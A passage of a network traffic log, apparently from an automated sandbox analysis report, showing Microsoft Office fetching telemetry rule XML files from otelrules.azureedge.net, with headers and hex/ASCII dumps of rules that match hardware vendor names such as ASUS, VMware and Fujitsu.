2024-11-20 12:28:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:32 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122832Z-r1d97b9957744xz5hC1TEB5bf800000008r000000000a7dr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:32 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.8	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:32 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:32 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 79148a84-101e-0017-578c-3a47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122832Z-185f5d8b95c95vpshC1NYC759c0000000a6000000000dmyp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:32 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.8	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:32 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:32 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: d278da68-d01e-002b-0c18-3b25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122832Z-r1d97b99577ndm4rhC1TEBf0ps000000090g0000000059rd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:32 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.8	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:32 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:32 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: b82db720-b01e-0053-528c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122832Z-185f5d8b95c4vwv8hC1NYCy4v40000000a7g00000000muxq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:32 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.8	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:32 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:32 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: bdf962e5-c01e-0066-1b8c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122832Z-185f5d8b95c68cvnhC1NYCfn7s0000000a5g00000000e4m2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.8	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:33 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:33 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 7511ce5b-801e-0083-468c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122833Z-r1d97b99577l6wbzhC1TEB3fwn000000090g000000004eax x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:33 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.8	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:33 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:33 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: a1cde93a-f01e-0020-638c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122833Z-185f5d8b95c5lcmhhC1NYCsnsw0000000ac0000000003rp3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:33 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.8	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:33 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:33 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 0bcc5563-701e-0021-03f3-3a3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122833Z-185f5d8b95ctl8xlhC1NYCn94g0000000a9000000000c7xk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:33 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.8	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:33 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:33 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122833Z-r1d97b99577sdxndhC1TEBec5n000000092g000000000qfc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:33 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.8	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:33 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:33 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 302bdaed-601e-003e-338c-3a3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122833Z-185f5d8b95cdcwrthC1NYCy5b80000000a3g00000000frcz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:33 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.8	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:33 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:33 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122833Z-r1d97b995778dpcthC1TEB4b5400000008r000000000ap8m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:33 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.8	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:33 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 0f1ce2f4-701e-0001-5e8c-3ab110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122833Z-185f5d8b95c95vpshC1NYC759c0000000a7000000000b3up x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.8	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
